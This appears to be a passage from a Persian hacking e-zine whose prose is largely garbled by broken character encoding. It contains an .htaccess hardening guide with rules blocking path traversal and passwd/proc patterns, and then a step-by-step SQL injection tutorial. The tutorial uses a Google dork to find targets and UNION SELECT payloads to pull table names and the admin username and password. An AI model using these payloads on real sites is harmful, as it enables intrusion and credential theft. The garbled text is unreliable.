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 هقدهِ

 صاحة اهتیاش : تین اهٌیتی اهپساطَز

اهپساطَز.تحت ًظازت ضَزای سس دتیسی گسٍُ اهٌیتی   

  

 ٍیسایص , طساحی , صفحِ تٌدی ٍ گسافیک : 

Emperor Team 

  ّوکازاى ایي ضوازُ :

Hono , H0553|N7 , MR.F@RDIN 

 

 ایویل :

  Emperor_sec_Team@yahoo.com 

 ٍتسایت : 

  Magazine.Emperor-Team.org 

 
ٔجّٝ تیٓ أٙیتی أپطاَٛض وبٔلا ٔؿتمُ ثٛزٜ ٚ ٔتؼّك ثٝ ٞیچ ؾبظٔبٖ 

یب اضٌبٖ ٕ٘ی ثبقس ٚ تٕبٔی حمٛق آٖ ٔتؼّك ثٝ تیٓ أٙیتی أپطاَٛض ٚ 

 ٔی ثبقس.

 اؾتفبزٜ اظ ُٔبِت ٔجّٝ ثب شوط ٔٙجغ ٚ ٔبذص ٔجبظ ٔی ثبقس.

أپطاَٛض اظ ٔسیطاٖ وّیٝ ی پبیٍبٜ ٞبی ایٙتط٘تی وٝ  یٔجّٝ اِىتطٚ٘یى

ٔب ضا یبضی  یزض جٟت ٕٞىبضی , زض ٘كط ٚ تٛظیغ ایٗ ٘ؿرٝ اِىتطٚ٘یى

.تكىط ٔی ٕ٘بیستكىط  زٞٙس ٔی  

 

http://www.emperor-team.org/
http://www.magazine.emperor-team.org/


 

 4 
 تٕبٔی حمٛق ایٗ ٔجّٝ ثطای تیٓ أٙیتی أپطاَٛض
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 Htaccess تالا تسدى اهٌیت تا

Htaccess ست؟یچ 
 

Htaccess ٘بْ ثبیی ٞب ُیفب ؿت؟یچ htaccess. جبزیای ثطا 
ی ٔ وبض ثٝی آپبچ ؾطٚض زض ٔتفبٚت ٞب پٛقٝ بی ٞبی طوتٛضیزا زضی ىطثٙسیپ

 ثٝ بظٔٙسی٘ی وبضثط پٛقٝ وٝ طزیٌی ٔ لطاض اؾتفبزٜ ٔٛضزی نٛضت زض ٚ ضٚ٘س

 .سی٘ساض  (root)ضٚتی زؾتطؾ ٚ ثبقسی ذبنی ىطثٙسیپ

 

 
 
 ٔب٘ٙسی اضٚضٞب سیتٛا٘ی ٔ ٚ سیزٞ ا٘تمبَ ٍطیز نفحٝ ثٝ ضای ا نفحٝ بی ٚ زازٜ طییتغ ضا ّٟبیفب پؿٛ٘س سیتٛا٘ی ٔ اوؿؽی ت اچ اظ اؾتفبزٜ ثب

 پؿٛضز ُیفب هی یثطضٚ .htaccess ُیفب ثب سیتٛا٘یٔی حت سیوٙ تیطیٔس ضا آٟ٘ب ٚ سیزٞ فیٕ٘ب ضا 404,400,401,500,403
 وٝ قٛز تیؾب وُ وطزٖ فؼبَ طیغ ثبػث ُیفب ٗیا زض زؾتٛضات اظی ثؼً اؾت ٕٔىٗی ٔٛالؼ زض سیوٙ ٔؿسٚز ضای ذبنی ٞبی پی آ بی ٚ سیلطاضزٞ

ی ثسضؾت تٛاثغ تب زازٜ ضالطاض آٖ ٔكبثٝ زؾتٛضات سیثب قٕب ٚ ثبقسی ٔ ؾطٚض httpd.conf ُیفب زض تٛاثغی ثؼً ثٛزٖ فؼبَ طیغ ثٝ ٔطثٌٛ أط ٗیا
 ثبػث تبثغ هی وطزٖ فؼبَ ثب قٕب اؾت ٕٔىٗ طایظ قٛزی ٕ٘ كٟٙبزیپ ٔٛاضز ٕٞٝ زض ُیفب ٗیا اظ اؾتفبزٜ. سیوٙ حصف ضا تٛاثغ اظی ثؼً بی ٚ وٙٙس وبض

 htaccess ُیفب اظ وٝ قٛزی ٔ كٟٙبزیپ زاض٘س لطاض آٖی ثطضٚ تیؾبی بزیظ تؼساز وٝی اقتطاوی ؾطٚضٞب زضی ِٚ قٛز ذٛز تیؾب قسٖ ٞه

 .ثبقس زاضا ضا ذٛز ثٝ ٔطثٌٛ لؿٕتی ثٙس ىطیپیی تٛا٘ب سیثب تیؾب ٞط طایظ. قٛز اؾتفبزٜ

 ٗیای ثطضؾ اظ پؽی آپبچ ؾطٚض ٚة تب زازٜ لطاض ذٛز ٞبؾت پٛقٝ زض ضا ُیفب ؿتیای وبف htaccess ُیفب زض ٘ظط ٔٛضز طاتییتغ اػٕبَی ثطا

 .وٙس اػٕبَ ٞب پٛقٝ ٚ ّٟبیفبی ثطضٚ ضا طاتییتغ ُیفب

 

ی ٔرفی ّٟبیفب بی ٚ ذٛز پُٙی ؾ ٞبؾت زض ّٟبیفب ٗیا ثٝی زؾتطؾی ثطا

 Show Hidden) هیت ٚ ضفتٝ File manager ثٝ

Files (dotfiles یثطضٚ ٚ سیثع٘ ضا GO ّی ٔ حبَ سیوٙ هیو

 زض ّٟبیفب وطزٖی ٔرفی ثطا سیٙیثج ضا .htaccess یٞب ُیفب سیتٛا٘

 قٛ٘سی ٔرف قٕبی ّٟبیفب تب سیوٙ ايبفٝ.  ُیفب اَٚ زض سیثب ٙٛوؽیِ

 تیٙٔا ٚ ٞؿتٙسی ٔرف .htaccess یّٟبیفب سیٙیثی ٔ وٝ ٕٞبُ٘ٛض

 .ثبقس كتطیث تٛا٘سی ٔی ٔرف حبِت زض ُیفب هی
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 ٚ ثُٛض ذلانٝ ٔی تٛاٖ ٌفت وٝ :
 

 

 

 

 

 استفادُ کٌین؟ Htaccessچِ هَقغ اش 
 

 ٚ یاقتطاو نٛضت ثٝ ؾطٚض وٝ یٔٛالؼ زض أب. زٞس یٔ لطاض قؼبع تحت ضا ؾطٚض ٚة تیأٙ طایظ كٛزیٕ٘ كٟٙبزیپ ٔٛاضز ٕٞٝ زض ُیفب ٗیا اظ اؾتفبزٜ

 اؾتفبزٜ htaccess ُیفب اظ وٝ اؾت آٖ كٟٙبزیپ زاضز لطاض آٖ یثطضٚ تیؾب یبزیظ تؼساز ٚ وٙس یٔ یضؾب٘ ذسٔت قسٜ share انُلاحب

 .ثبقس زاضا ضا ذٛز ثٝ ٔطثٌٛ لؿٕت یثٙس ىطیپ ییتٛا٘ب سیثب تیؾب ٞط طایظ. قٛز
 

 تیطتس تداًید :
 

 اِجتٝ. قٛز یٔ اذص ٍیقطا اؾبؼ ثط ٕبتیتهٕ اؾت (httpd.conf) ؾطٚض یانّ ُیفب یىطثٙسیپ ٔب٘ٙس ُیفب ٗیا یىطثٙسیپ ٘حٜٛ آ٘ىٝ ُیزِ ثٝ

 !قٛز یٕ٘ قبُٔ ضا httpd.conf أىب٘بت یتٕبٔ

 اظ لجُ یعیچ وطزٖ ايبفٝ ثٝ یبظی٘ پؽ. طزیٌ یٔ لطاض اؾتفبزٜ ٔٛضز نٛضت ٗیٕٞ ثٝ مبیزل ٚ اؾت ُیفب ٘بْ هی ذٛز ""htaccess. ػجبضت

 !ثبقس یٕ٘ لجَٛ لبثُ "file.htaccess" ػجبضت ٚ. ؿتی٘ "."

 یٞب پٛقٝ اظ یىی زض ضا htaccess ُیفب اؾت یوبف فمٍ... ( ٚ  طوتیسایض ،یزؾتطؾ تیٔحسٚز) ٘ظط ٔٛضز طاتییتغ ٚ یثٙس ىطیپ اػٕبَ یثطا

 .وٙس اػٕبَ ٔجٕٛػٝ طیظ یٞب پٛقٝ ٚ پٛقٝ یثطضٚ ضا طاتییتغ ُیفب ٗیا زض ٔٛجٛز زؾتٛضات یثطضؾ اظ پؽ یآپبچ ؾطٚض ٚة تب سیزٞ لطاض زِرٛاٜ
 

 : Htaccess لیفا جادیا ًحَُ
 

 ٙسٚظیٚ زض أب. ٓیزٞ طییتغ htaccess. ثٝ ضا آٖ ٘بْ ؾپؽ ٚ وطزٜ جبزیا ضا ُیفب هی اؾت لاظْ ٙٛوؽیِ ػبُٔ ؿتٓیؾ زض ُیفب ٗیا جبزیا یثطا

 یٕ٘ ُیفب ٘بْ ؼتبیَج ٚ زا٘س یٔ ُیفب پؿٛ٘س ضا "." اظ ثؼس یحطف ٞط ٚ وٙس یٔ یجب٘یپكت "ُیفب ٘بْ.پؿٛ٘س" فطٔت اظ ػبُٔ ؿتٓیؾ ٗیا آ٘ىٝ ُیزِ ثٝ

 طٜیشذ ٔطحّٝ زض ٚ وطز اؾتفبزٜ ٔتٗ كٍطیطایٚ هی اظ ؿتیثب یٔ ٔكىُ ٗیا حُ یثطا. وٙس یٕ٘ یجب٘یپكت htaccess. فطٔت اظ ثبقس یذبِ تٛا٘س

 .ٓیزٞ ٘بْ طییتغ htaccess. ثٝ ضا آٖ ٘بْ
 

  .Htaccessپٛقٝ اظ یىی زض ُیفب ٗیا یٚلت. وٙٙس یٔ اؾتفبزٜ یآپبچ ؾطٚض اظ وٝ اؾت ییٞب تیؾب ٚة یثطا یثٙس ىطیپ ُیفب هی 
 آٖ زؾتٛضات، ٗیا َجك ثؼس ٚ زاضز ٚجٛز ُیفب ٗیا زض یزؾتٛضات چٝ وٝ وٙس یٔ یثطضؾ یآپبچ ؾطٚض ٚة طز،یٌ یٔ لطاض تیؾب ٚة یٞب

 اظ یؾط هی وطزٖ فؼبَ طیغ بی ٚ فؼبَ یثطا تٛا٘س یٔ ُیفب ٗیا. وٙس یٔ یثٙس ىطیپ ضا زاضز لطاض آٖ زض htaccess وٝ تیؾب اظ لؿٕت
 جیضا یذُب یٞب غبْیپ فیٕ٘ب بی نفحٝ هی وطزٖ طوتیسایض تٛا٘س یٔ وٝ طزیثٍ لطاض اؾتفبزٜ ٔٛضز یآپبچ ؾطٚض ٚة یٞب یػٌیٚ ٚ تٛاثغ

 .قٛز قبُٔ ضا 404 اضٚض: ٔب٘ٙس
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 حالا هیسین سساغ ًوًَِ ّایی اش ایي فایل ّا :

 
 پؿٛضز ٌصاقتٗ ثط ضٚی یه پٛقٝ :(1

 
 اٌططا قٕب ثب ایٗ وس ٔیتٛا٘یس ثط ضٚی پٛقٝ ٞبی ذبنی پؿٛضز ثٍصاضیس. ثُٛض ٔثبَ پیكٟٙبز ٔیىٙیٓ حتٕب ثط ضٚی پٛقٝ ی ٔسیطیت پؿٛضز ٌصاقتٝ ظی

 .قٛز یٔ ؾرت تیطیٔس پُٙ ثٝ یزؾتطؾ جبیتمط ضٚـ ٗیا ثب ثبقٝ سٜیضؾ طیٔس پؿٛضز ٚ ٛظضی ثٝ sql injection ثب ٔثلا ٞىط هی
 

 

 

 

 سیثس ضٚ ٞؿت پؿٛضز ٚ ٛظضی ُیفب تٛـ وٝ ضٚ یا پٛقٝ وبُٔ آزضؼ سیثب AuthUserFile یجّٛ زض
 : ٔثلا

 

 

 یٛظض ٚ پؿٛضز ضا ثٝ ایٗ نٛضت شذیطٜ وٙیس : passwd ُیفب یتٛ ٚ
 

 

 وطزٖ آی پی ٞبی ذبل یب اجبظٜ زازٖ ثٝ یه یب چٙس آی پی : ثّٛن(2

 
 فمٍ وٝ سیوٙ اؾتفبزٜ تیطیٔس پٛقٝ یثطا سیتٛا٘ یٔ ضٚـ ٗیا اظ وٙس یٔ ذبل یٞب یپ یآ ثٝ ٔحسٚز ضا تیؾب اظ یلؿٕت وٝ سیٔف بضیثؿ یضٚق

 : سیوٙ یٔ زؾتٛض ٗیا ٚاضز ضا آٖ ٚ سیوٙ یٔ سایپ ضا ذٛز ip اثتسا پؽ سیثبق زاقتٝ یزؾتطؾ پٛقٝ ٗیا ثٝ سیثتٛا٘ ذٛزتبٖ
 

 

 

 . سیوٙ ٚاضز ضٚ ذٛزتٖٛ ip سیثب 255.0.0.0ی جب ثٝ وٝ
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AuthName "Member's Area Name" 

AuthUserFile /path/to/password/file/.htpasswd 
AuthType Basic 

require valid-user 

/home3/user1/.htpasswds/administrator/passwd 

username:password(hash) 

Order allow,deny 

Allow from 255.0.0.0 

Denny from all 
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 ٚاضز ثتٛا٘ٙس 255.1.26.9 ٚ 255.1.26.5ی پی آ زٚ ٞط وٝ قٛزی ٔ ثبػث, وٝ ایٗ زؾتٛض  وطز اؾتفبزٜ تٛاٖی ٔ ٞٓ قىُ ٗیا ثٝ بی
 : ثكٛ٘س پٛقٝ

 
 

 

 .ثكٛز پٛقٝ ٚاضز ثتٛا٘س ثبقٝ 255.1 اِٚف وٝی پی آ ٞط وٝ قٛزی ٔ ثبػث زؾتٛض ٗیا
 

 

 

 ثّٛن وطزٖ آی پی ٘یع ثٝ ایٗ نٛضت ٔی ثبقس :

 

 

 

 .زؾتٛض ٘تٛا٘ٙس ٚاضز ثكٛ٘سوٝ ثبػث ٔی قٛز ایٗ زٚ 
 

 : indexجٌّٛیطی اظ ٕ٘بیف ٔحتٛیبت پٛقٝ ٞبی ثسٖٚ (3

 
 ثب ایٗ ضٚـ زیٍط وؿی ٕ٘ی تٛا٘یس ٔحتٛیبز پٛقٝ ٞبی ثسٖٚ ایٙسوؽ ضا ٔكبٞسٜ وٙس :

 
 
 

 : cgi  ٚiniجٌّٛیطی اظ اجطای فطٔت ٞبی (4
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 أ
ٜٚ

ٌط
ه 

ٚ٘ی
تط

ِى
ٝ ا

ٙبٔ
بٞ

ٔ
_ 

ضٜ 
ٕب

ق
3 

_ 
از 

طز
ذ

 
بٜ 

ٔ
1
3
9
2

 

 هقالِ

Order allow,deny 

Allow from 255.1.26.5/9 

Denny from all 

Order allow,deny 
Allow from 255.1.*.* 

Denny from all 

order allow,deny 

deny from 255.0.0.0 
deny from 123.45.6. 

allow from all 

Options -Indexes 

<FilesMatch "^php5?\.(ini|cgi)$"> 
Order Deny,Allow  

Deny from All  
Allow from env=REDIRECT_STATUS  

</FilesMatch> 
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 ...ٚ pl, php5,php6,php2 ٔثُ سیوٙ فیتؼط سیتٛ٘ی ٔ قٕب وٝ ذبلی ٞب فطٔتی اجطا اظی طیجٌّٛ

 : قٛزی ٔ زازٜ فیٕ٘ب ؾٛضؾكٖٛ فمٍ ٚ كٗیٕ٘ اجطا ٞب فطٔت ٗیا ٍٝیز وس ٗیا ثب
 
 

 

 : lfi  ٚrfiجٌّٛیطی اظ حٕلات (5

 

 
 

 

 

 

 

 

 ( :dos) داس حمله از جلوگيري(6

 
 

 

 

 

 

 : RCEجٌّٛیطی اظ حٕلات (7
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 هقالِ

RemoveHandler cgi-****** .pl .cgi .php .py  

AddType text/plain .pl .cgi .php .py 

RewriteCond %{REQUEST_METHOD} GET 
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR] 

RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR] 
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http%3A%2F%2F [OR] 

RewriteCond %{QUERY_STRING} proc\/self\/environ [NC,OR] 
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC] 
RewriteRule .* - [F] 

RewriteCond %{QUERY_STRING} (%2F..|..%2F|/..|../|%00|etc|passwd|proc) 
[NC] 

RewriteRule .* - [F] 

# drop Range header when more than 5 ranges. 

# CVE-2011-3192 
SetEnvIf Range (,.*?){5,} bad-range=1 
RequestHeader unset Range env=bad-range 

# optional logging. 

#CustomLog insert-path-and-name-of-log common env=bad-range 

RewriteCond %{QUERY_STRING} ^(%2d|\-)[^=]+$ [NC] 
RewriteRule (.*) - [F,L] 
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 : MIMEجٌّٛیطی اظ حٕلات (8

 

 
 

 : CSRFجٌّٛیطی اظ حٕلات (9

 

 
 

 : IEٔرهٛل  xssجٌّٛیطی اظ حٕلات (10
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 هقالِ

Header set X-Content-Type-Options "nosniff" 

Header set X-Frame-Options DENY 

Header set X-XSS-Protection "1; mode=block" 

        the w!ght S0ldi3r . Edit : EST
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اؼ ویٛ اَ ایٙجىكٗ یىی اظ  ثبي ٞبی پطَطفساض ٞىطٞبؾت وٝ ٞىط ٞب 

ٔی تٛا٘ٙس یٛظض پؽ ازٔیٗ ؾبیت ٞبیی وٝ ایٗ حفطٜ أٙیتی ضا زاض٘س ضا 

ثسؾت ثیبض٘س ٚ ٌبٞی اٚلبت ٔی تٛا٘ٙس قُ اجطا وٙٙس ٚ ؾطٚض ضا اظ پب زض 

.آٔٛظـ اؽثیبضٖ. ذت ٔی ضیٓ ؾط  

 

ثٝ ضاحتی ٔی تٛا٘یس زض ٌٌُٛ ؾطچ وٙیس ٚ پیسا وٙیس. حبلا ٔب ٕ٘ٛ٘ٝ ای ضٚ ٔی   dork٘یبظ زاضیٓ. ذت ثطای پیسا وطزٖ  dorkاَٚ یٝ تؼسازی 

 ٌیٓ.

 
ٔب ایٙٛ تٛ ٌٌُٛ ؾطچ ٔی وٙیٓ تؼسازی ؾبیت زض ٘تبیج جؿتجٛ ثٝ ٔب ٔیسٞس وٝ جّٛی ایٗ ٔؿبٚی یه ػسز ٞؿت یب انلا ذٛزٖٔٛ ٞٓ ٔی تٛ٘یٓ 

 ٓ ٚ ؾطچ وٙیٓ ٚ فطلی ٕ٘ی وٙٝ ِٚی زض وُ ثٟتطٜ ػسز ٘عاضیس .جّٛی ایٗ ػسز ثعاضی

)زٚؾتبٖ زلت وٙیس وٝ زٚضن ٚ ػسز وٝ ٔی ٌٓ ٕٞٝ ٔثبَ ٞؿتٙس ٚ  9ؾطچ ٔی وٙیٓ ٚ یٝ تؼساز ؾبیت وٝ جّٛقٖٛ ػسز ٞؿت ضٚ ثٝ ٔب ٔی زٜ ٔثلا 

 ز ثبلا :لبثُ تغییط  ٚ فمٍ ثطای ٔتٛجٝ قسٖ قٕب ٌفتٝ ٔیكٛز( ذت پؽ ثبیس ٕٞچیٗ چیعی ثیب

 

اٌٝ ؾبیت ٔٛضز ٘ظط ٔب آؾیت   'ایٗ ػلأت ايبفٝ وٙیس  9ذت حبلا ؾبیت ثسٖٚ ٔكىُ ٔیبز ثبلا ٚ ٔكىّی ٘ساضٜ ٚ اضٚضی ٞٓ ٘سازٜ الاٖ ثبیس آذط 

 ایٗ اضٚض زاذُ نفحٝ ثیبز : قجیٝثبقٝ ثبیس  sqlپصیط ٚ زاضای ثبي 

 

 

 یا
 

 

 زاضٜ . حبلا ثبیس آذط آزضؼ ایٗ زؾتٛض ضٚ ثع٘یٓ تب تؼساز وِٕٛٗ ٞب ضٚ پیسا وٙیٓ.  sqlذت حبلا اضٚض زضیبفت وطزیٓ ٚ فٟٕسیسْ وٝ ایٗ ؾبیت ثبي 
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 هقالِ

 )دیتاتیس ّکیٌگ( Sql Injectionآهَشش تاگ 

Inurl:”look.php?id=” 

www.target.com/look.php?id=9 

You have an error in your SQL syntax; check the manual that corresponds 

to your MySQL server version for the right syntax to use near '\'' at line 1 
 

Warning: mysql_fetch_row(): supplied argument is not a valid MySQL 

result resource in /home/target/public_html/ look.php on line 53 
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 ٌصاقت أب ٌبٞی اٚلبت ٘ٝ ٚ جٛاة ٕ٘ی زٞس پؽ ثبیس أتحبٖ وٙیس ٔب فطو ٔی ٌیطیٓ زضایٗ تبضٌت ٔب ٕ٘یكٝ. 'ٌبٞی اٚلبت ٔیكٝ  9: ثؼس  1٘ىتٝ 

 ٕ٘ی زٞس. ٚ ٔی تٛاٖ اظ ٕ٘ٛ٘ٝ ٞبی ظیط اؾتفبزٜ وطز : : ثٝ جبی + ٔیكٝ فبنّٝ وٝ زض ثؼًی ٔٛاضز جٛاة 2٘ىتٝ 

 

 

 

 ثٍصاضیس. --یب ٕٖٞٛ آزضؼ اٌط اضٚض زضیبفت ٘ىطزیس  url: آذط  3٘ىتٝ 

یه ػسز تهبزفی ٔی ثبقس ٚ ٕٞیكٝ لبثُ تغییط ٞؿت ایٗ ػسز ثطای پیسا وطزٖ تؼساز وِٕٛٗ ٞب ثىبض ٔی ضٚز وٝ ٔیكٝ ٞط ػسزی  50: ػسز  4٘ىتٝ 

 قطٚع وٙیٓ. 50ٜ وٝ اظ اػساز ثعضي ٔثُ ٌصاقت ثٟتط

 ذت حبلا فطو ثٍیطْ تبضٌت ٔب ثب ٕٞیٗ زؾتٛضی وٝ زازیٓ اضٚض ٔطثَٛٝ ضا ثٟٕٖٛ زاز. الاٖ ٔب ایٗ زؾتٛض ظزیٓ ٚ تبضٌت ٔب ایٗ اضٚض زاز:

 

 : 20یؼٙی ثبیس تؼساز وِٕٛٗ وٕتط وٙیٓ  ٔثلا ٔیعاضیٓ ضٚ 

 

 ؾبیت ثسٖٚ اضٚض اٚٔس ثبلا  ,  15زٚثبضٜ ٕٞیٗ اضٚض زضیبفت وطزیٓ پؽ ثبیس وٕتط وٙیٓ ٚ تب جبیی ثطؾٝ وٝ ؾبیت ٞیچ اضٚضی ٘سٜ . ذت ثطای ٔب ضٚ 

ثب زؾتٛض  تٛی ازضؼ ثٙٛیؿیٓ تب وِٕٛٗ لبثُ تعضیك ٔب پیسا ثكٝ 15تب ٞؿت حبلا ثبیس اظ یه تب  15الاٖ ایٙجب فٟٕیسیٓ وٝ وِٕٛٗ ٞبی ٔب 

union+select  ٌٓبٞی اٚلبت ٕٔىٙٝ ثب ظزٖ ایٗ زؾتٛض تبضٌت اٖٚ چیعی وٝ ٔی ذٛایٓ ثٟٕٖٛ ٘سٜ وٝ ثبیس ثٝ ایٗ نٛضت ػُٕ وٙی

union+all+select : الاٖ ثبیس ایٗ زؾتٛض آذط آزضؼ ثصاضیٓ، الاٖ فطو ٔی وٙیٓ تبضٌت ٔب ثب زؾتٛض اَٚ جٛاة ٔی زٞس 

 

ٞؿت حبلا ٚضغٖ  4. ذت فٟٕسیسْ وِٕٛٗ لبثُ تعضیك 4یه ػسز ٘ٛقتٝ وٝ ثطای ٔٗ تٛ ایٗ تبضٌت ٘ٛقتٝ ٔی ثیٙیٓ وٝ ؾبیت ثبظ قسٜ ٚ ٚؾٍ اٖٚ 

 وٝ زؾتٛض ثٝ ایٗ نٛضت اؾت :  ()versionٔی ذٛایٓ ثسؾت ثیبٚضیٓ وٝ جبی قٕبضٜ چٟبض ٔی ٌصاضیٓ 

 

 

ٞؿت. ثطای ٔب ایٗ ٟٔٓ ٞؿت وٝ ٚضغٖ چی ثبقٝ ٚ اظ چٝ زؾتٛض  5یؼٙی ٚضغٖ  0-5.1.54وٝ ثطای ٔب 

 ثٝ ثبلا فطق ٔی وٙٝ. 5ٚ پبییٗ زؾتٛضـ ثب  4اؾتفبزٜ وٙیٓ وٝ زض ٚضغٖ ٞبی 
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 هقالِ

www.target.com/look.php?id=9'+order+by+50 

www.target.com/look.php?id=9+order/.../by/.../50 

www.target.com/look.php?id=9/../order/.../by/.../50 

www.target.com/look.php?id=9/*/order/*/by/*/50 

Unknown column '50' in 'order clause' 

Unknown column '20' in 'order clause' 

www.target.com/look.php?id=9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 

www.target.com/look .php?id=9+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15 
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 ثطای پیسا وطزٖ ٘بْ زیتبثیؽ ٞؿت : ()databaseزؾتٛض 

 

 

 

 

 

 

یؼٙی ثٝ ایٗ from+information_schema.tables+ ایٗ زؾتٛض ٔی ظ٘یٓ :  urlالاٖ ثطای ثسؾت آٚضزٖ تیجُ ٚ وِٕٛٗ ٞب زض آذط 

 قىُ :

 

 یؼٙی ثٝ ایٗ قىُ : table_nameذت حبلا زض وِٕٛٗ لبثُ تعضیك ثطای ایٙىٝ تیجُ ٞب ضٚ ثىكیٓ ثیطٖٚ  ایٗ زؾتٛض ٔی ظ٘یٓ. 

 
 

حبلا زض اذط زؾتٛض ٞٓ ایٗ ايبفٝ ٔی وٙیس  column_name  زؾتٛض ايبفٝ وطزٜزض وِٕٛٗ لبثُ تعضیك ایٗ 

+from+information_schema.columns : ٝیٝ ٕٞچیٗ چیعی ٔیك , 

 

 
 : ذت ثطای ٌطٚٞی وكیسٖ ٞٓ وبفیٝ وٝ زض وِٕٛٗ لبثُ تعضیك ٕٞچیٗ چیعی ثع٘ی زضؾت ٔثُ ثبلا

 

ٞب ٚ تیجُ ٞبی ٔٛضز ٘ظط پیسا ٘ىٙیٓ ثبیس اظ زؾتٛض حبلا أىبٖ زاضٜ وٝ ٔب ثب ایٗ زؾتٛض ٞب وِٕٛٗ 

offset   ٚlimit  ٖوٝ  ته ته ثطای وكیسٖ وِٕٛٗ ٚ تیجُ اؾتفبزٜ ٔیكٝ ضٚ اؾتفبزٜ  وٙیٓ. الا

 ثٛزٜ ٚ وِٕٛٗ ٞبی ٔٛضز ٘ظط   adminفطو ٔی وٙیٓ وٝ تیجُ ٔٛضز ٘ظط ٔب
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 هقالِ

/look.php?id=9+union+select+1,2,3,concat(version(),0x3e,database()),5,6,7,8,9,10,11,12,1
3,14,15 

/look.php?id=9+union+select+1,2,3,group_concat(version(),0x3e,database()),5,6,7,8,9,10
,11,12,13,14,15 

/look.php?id=9+union+select+1,2,3,concat_ws(version(),0x3e,database()),5,6,7,8,9,10,11,
12,13,14,15 

/look.php?id=9+union+select+1,2,3,group_ws(version(),0x3e,database()),5,6,7,8,9,10,11,
12,13,14,15 

www.target.com/look.php?id=9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+in

formation_schema.tables 

www.target.com/look.php?id=9+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,1

5+from+information_schema.tables 

/look.php?id=9+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15+from+infor

mation_schema.columns 

/look.php?id=9+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,

15+from+information_schema.columns 
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 ثٛزٜ وٝ زض زؾتٛض ایُٙٛض ٔی ظ٘یٓ :  username  ٚpasswordثٛزٜ ٚ وِٕٛٗ ٞبی ٔٛضز ٘ظط ٘یع  adminٔب

 

 

 ذت الاٖ اٌٝ ٔكىّی پیف ٘یبز ثبیس زض نفحٝ یٛظض ٚ پؿٛضز ضا ثٝ ٔب ثسٜ.
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/look.php?id=9+union+select+1,2,3,(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15

+from+admin— 
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 اهٌیت زا تا ها تجستِ کٌید
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زٚ ظثبٖ ثط٘بٔٝ ٘ٛیؿی تحت  (asp) ٚ ای اؼ پی (php) پی اچ پی
ثٝ زیٍطی ٔعایب ٚ ٔؼبیجی زاض٘س  جتٚة ٔحؿٛة ٔی قٛ٘س وٝ ٞط یه ٘ؿ

وٝ لهس زاضیٓ زض ایٗ ُّٔت ثٝ ثطؾی آٟ٘ب ثپطزاظیٓ ٚ زض پبیبٖ ٘تیجٝ ٌیطی 
ضا ثٝ ذٛزتبٖ ٚاٌصاض وٙیٓ وٝ وساْ یه اظ ظثبٟ٘بی پی اچ پی یب ای اؼ پی 

 .ضا ثطٌعیٙیس

ٕٔىٗ اؾت ٞسف قٕب اظ ُٔبِؼٝ ی ٔٛيٛع پی اچ پی یب ای اؼ پی 
 ٞط زٚی ایٗ ؾٛالات ثبقس: اَٚپبؾرٍٛیی ثٝ یىی یب 

ایٙىٝ ثٟتط اؾت وساْ ظثبٖ ضا فطا ثٍیطیٓ؟ ٚ زْٚ ایٙىٝ ثب وساْ ظثبٖ ثٟتط  
اؾت یه ٚثؿبیت ضاٜ ا٘ساظی قٛز. وٝ ٔب ٔٛيٛع ضا اظ ٞط زٚ جٙجٝ ثطؾی 

 .ذٛاٞیٓ ٕ٘ٛز

 شتاى پی اچ پی یاد تگیسین یا شتاى ای اس پی؟

ٔتمبيی یبزٌیطی یىی اظ ظثبٟ٘بی پی اچ پی یب ای اؼ پی اظ لجُ زا٘ف یب تجطثٝ ی ثط٘بٔٝ  ثطذی اظ وبضثطاٖ  :داًص تجستِ ی قثلی 1

ٚ ٚیػٚاَ ثیؿیه وٝ اِجتٝ ذٛز ایٗ ظثبٟ٘ب قجبٞت ظیبزی ثٝ ظثبٟ٘بی ٞٓ ذب٘ٛازٜ ی ذٛز  (C) ٘ٛیؿی زاض٘س وٝ اظ ٔتساِٚتطیٗ ایٗ ظثبٟ٘ب، ظثبٖ ؾی

وبض وطزٜ ایس ثٝ ضاحتی ٔی تٛا٘یس پی اچ پی ٚ اٌط ثب ظثب٘ی ٔب٘ٙس ٚیػٚاَ ثیؿیه  C ثب ظثب٘ی ٔثُٚ غیطٜ زاض٘س. حبَ اٌط لجلا  #C++ ٚ C ٔب٘ٙس

 .وبض وطزٜ ایس ای اؼ پی ضا فطا ثٍیطیس ظیطا اٌط ثٍٛییٓ وٝ ایٗ ظثبٟ٘ب ٚضغٖ تحت ٚة ٕٞبٖ ظثبٟ٘ب ٞؿتٙس اغطاق ٘ىطزٜ ایٓ

ایٗ ٔٛضز ؾّیمٝ ای اؾت ٚ ثؿتٍی ظیبزی ثٝ ػلالٝ ی افطاز زاضز أب ػسٜ ظیبزی اٌط تجطثٝ یب زا٘ف لجّی ٘ساضیس ٌطچٝ   :سَْلت یادگیسی 1

 .اظ ثط٘بٔٝ ٘ٛیؿبٖ ٔؼتمس٘س وٝ فطاٌیطی ظثبٖ پی اچ پی وٕی ضاحتتط اظ ای اؼ پی ٔی ثبقس

ایٗ ٔٛضز ٞٓ ثؿتٍی ثٝ اؾتؼساز قٕب زاضز أب تجطثٝ ثبثت وطزٜ اؾت وٝ ؾطػت یبزٌیطی زض ظثبٖ پی اچ پی وٕی ثیكتط   :سسػت یادگیسی 3

 .اؾت ٚ ػلالٕٙساٖ ثٝ ایٗ ظثبٖ زض ظٔبٖ وٛتبٜ تطی ٔی تٛا٘ٙس ثٝ حس لبثُ لِٛی زض ثط٘بٔٝ ٘ٛیؿی ثب ایٗ ظثبٖ ثطؾٙس

بٖ ظثبٖ پی اچ پی ضا ا٘تربة ٔی وٙٙس تؼسازی افطازی وٝ جصة ای اؼ پی ٔی قٛ٘س وٕتط اؾت اظ آ٘جب وٝ ػٕسٜ ی ثط٘بٔٝ ٘ٛیؿ  :تاشاز کاز 4

